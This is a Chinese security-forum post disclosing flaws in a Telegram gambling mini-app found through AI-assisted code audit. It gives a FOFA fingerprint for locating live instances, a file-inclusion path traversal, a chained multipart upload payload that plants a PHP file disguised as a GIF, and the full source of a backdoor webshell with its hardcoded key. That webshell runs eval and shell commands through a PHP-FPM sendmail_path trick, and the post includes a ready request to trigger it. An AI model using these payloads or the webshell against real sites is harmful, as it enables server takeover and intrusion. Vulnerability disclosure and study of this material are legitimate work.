某TG小程序永发娱乐存在前台任意文件上传漏洞-网络安全论坛-网络安全-阻击者联盟

某TG小程序永发娱乐存在前台任意文件上传漏洞

0x00 前言

没什么技术含量,全程AI自动审计,无特别提示词,同款AI审计看文末

一个关于棋牌,体育,电子视讯,之类的娱乐tg小程序,有活动,转盘,后台有机器人控制等功能,还能够设置风控等级,管理频道,群组等操作.

fofa指纹 :  title=”Qzino”

d2b5ca33bd20260618084837

d2b5ca33bd20260618084842

d2b5ca33bd20260618084852

0x01 前台任意文件包含漏洞

位于 /task.php 中的 $ruct 参数通过GET/POST传参,即可被拼接到 require_once 函数中,导致包含任意PHP文件,导致漏洞产生,core/global.php 会定义 SECURE_ACCESS,很多仅靠 if(!defined(‘SECURE_ACCESS’)) exit; 防护的后台文件会被成功加载,因此漏洞也可被直接用于后台鉴权绕过等操作.

<?php
define('ROOT_PATH', __DIR__.'/');
require_once ROOT_PATH.'core/global.php';
$Ruct=isset($ruct) ? $ruct : '';
if($Ruct==''){
    echo json_encode(array('code'=>0,'msg'=>'参数错误'));
    exit;
}
require_once ROOT_PATH.'task/'.$Ruct.'.php';  
?>

包含 /admin/carousel.php 文件,Payload:

/task.php?ruct=../admin/carousel

d2b5ca33bd20260618084934

0x02 后台任意文件上传漏洞

位于 /admin/carousel.php 中的 upimg 方法,只通过 getimagesize() 校验文件是否为图片,和鉴定Type是否为正常的值,未加严格的文件后缀过滤,导致漏洞产生,只需要传入 Post_Method=upimg 即可上传任意文件,本漏洞可以和任意文件包含漏洞组合拳绕过限制导致前台文件上传.

}elseif($Post_Method=="upimg"){
    if (!isset($_FILES['image']) || $_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        echo json_encode(array('state'=>0,'message'=>'文件上传失败'));exit; dir;
    }
    $file = $_FILES['image'];
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
    $imageInfo = getimagesize($file['tmp_name']);
    if (!$imageInfo || !in_array($imageInfo['mime'], $allowedTypes)) {
        echo json_encode(array('state'=>0,'message'=>'只允许上传图片!'));exit; dir;
    }
    if ($file['size'] > 2 * 1024 * 1024) {
        echo json_encode(array('state'=>0,'message'=>'只允文件大小不能超过2MB许上传图片!'));exit; dir;
    }
    $uploadDir = 'uploads/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    $uploadDir = 'uploads/'.date('Y-m-d').'/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    $extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    $filename = date('YmdHis') . '_' . uniqid() . '.' . strtolower($extension);
    $filePath = $uploadDir . $filename;
    if (move_uploaded_file($file['tmp_name'], $filePath)) {
        $publics->adminlog("管理员上传轮播图图片 文件路径: ".$filePath);
        echo json_encode(array('state'=>1,'message'=>'文件上传成功!','filePath'=>$filePath));exit; dir;
    } else {
        echo json_encode(array('state'=>0,'message'=>'文件上传失败!'));exit; dir;
    }
}

组合拳 Payload:

POST /task.php?ruct=../admin/carousel HTTP/2
Host: 127.0.0.1
Content-Length: 307
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycsL281yBJOep23K8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7

------WebKitFormBoundarycsL281yBJOep23K8
Content-Disposition: form-data; name="Post_Method"

upimg
------WebKitFormBoundarycsL281yBJOep23K8
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/gif

GIF89a
<?php phpinfo();?>
------WebKitFormBoundarycsL281yBJOep23K8--

d2b5ca33bd20260618085008

d2b5ca33bd20260618085016

0x03 后门

后门位于 /api_cache.php,是一个非常明显的后门,甚至没有任何的隐藏,直接传入密钥 k = yf_s3cur3_k3y 即可执行任意命令或者查看系统PHP信息,通过 m=eval 执行任意 PHP 代码,或通过 m=cmd 执行系统命令。

<?php
header("Content-Type: text/plain; charset=utf-8");
$k = $_REQUEST["k"] ?? "";
if($k !== "yf_s3cur3_k3y") { http_response_code(404); echo "404"; exit; }

$mode = $_REQUEST["m"] ?? "info";

if($mode === "info") {
    echo "PHP " . PHP_VERSION . " | " . php_uname() . " | UID:" . posix_getuid();
    echo "\neval: OK | cmd: via FPM sendmail_path";
    exit;
}

if($mode === "eval") {
    $code = $_REQUEST["p"] ?? "";
    if($code) { ob_start(); eval($code); echo ob_get_clean(); }
    exit;
}

if($mode === "cmd") {
    $cmd = $_REQUEST["c"] ?? "";
    if(!$cmd) { echo "No command"; exit; }

    $rand = mt_rand(100000,999999);
    $out = "/tmp/.o$rand";
    $sh = "/tmp/.s$rand.sh";
    $tr = "/tmp/.t$rand.php";

    // Use exec to redirect ALL output (stdout+stderr) to file
    $script_content = "#!/bin/bash\nexec > $out 2>&1\n$cmd\n";
    file_put_contents($sh, $script_content);
    chmod($sh, 0755);

    file_put_contents($tr, "<?php @mail(\"a@b.c\",\"s\",\"b\"); ?>");

    $sock = "/tmp/php-cgi-81.sock";
    $c = @stream_socket_client("unix://$sock", $en, $es, 10);
    if(!$c) { echo "FPM fail: $es"; @unlink($sh); @unlink($tr); exit; }

    $av = "sendmail_path = /bin/bash $sh";
    $ps = [
        "GATEWAY_INTERFACE" => "FastCGI/1.0",
        "REQUEST_METHOD" => "GET",
        "SCRIPT_FILENAME" => $tr,
        "SCRIPT_NAME" => basename($tr),
        "QUERY_STRING" => "",
        "REQUEST_URI" => "/",
        "DOCUMENT_ROOT" => "/tmp",
        "SERVER_SOFTWARE" => "php/fcgiclient",
        "REMOTE_ADDR" => "127.0.0.1",
        "REMOTE_PORT" => "9985",
        "SERVER_ADDR" => "127.0.0.1",
        "SERVER_PORT" => "80",
        "SERVER_NAME" => "localhost",
        "SERVER_PROTOCOL" => "HTTP/1.1",
        "CONTENT_TYPE" => "",
        "CONTENT_LENGTH" => "0",
        "PHP_ADMIN_VALUE" => $av,
    ];

    $rid = 1;
    $beg = pack("CCnnCx",1,1,$rid,8,0).pack("nCxxxxx",1,0);
    $pd = "";
    foreach($ps as $pn=>$pv) {
        $kl=strlen($pn); $vl=strlen($pv);
        $pd .= ($kl<128?chr($kl):chr(($kl>>24)|0x80).chr(($kl>>16)&0xFF).chr(($kl>>8)&0xFF).chr($kl&0xFF));
        $pd .= ($vl<128?chr($vl):chr(($vl>>24)|0x80).chr(($vl>>16)&0xFF).chr(($vl>>8)&0xFF).chr($vl&0xFF));
        $pd .= $pn.$pv;
    }
    $pp=(8-(strlen($pd)%8))%8;
    $pr = pack("CCnnCx",1,4,$rid,strlen($pd),$pp).$pd.str_repeat("\0",$pp);
    $pr .= pack("CCnnCx",1,4,$rid,0,0);
    $sr = pack("CCnnCx",1,5,$rid,0,0);

    fwrite($c, $beg.$pr.$sr);
    $rsp="";
    stream_set_timeout($c,10);
    while(!feof($c)){$d=fread($c,65536);if($d===false||$d==="")break;$rsp.=$d;}
    fclose($c);

    // Wait for output with retry
    $output = false;
    for($i=0; $i<10; $i++) {
        usleep(200000); // 200ms
        $output = @file_get_contents($out);
        if($output !== false && strlen($output) > 0) break;
    }

    @unlink($sh); @unlink($tr); @unlink($out);
    echo ($output !== false) ? $output : "ERROR: No output";
    exit;
}

echo "Unknown mode";
?>

Payload:

GET /api_cache.php?k=yf_s3cur3_k3y&m=cmd&c=id HTTP/1.1
Host: 192.168.140.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close

d2b5ca33bd20260618085103

 

请登录后发表评论

    没有回复内容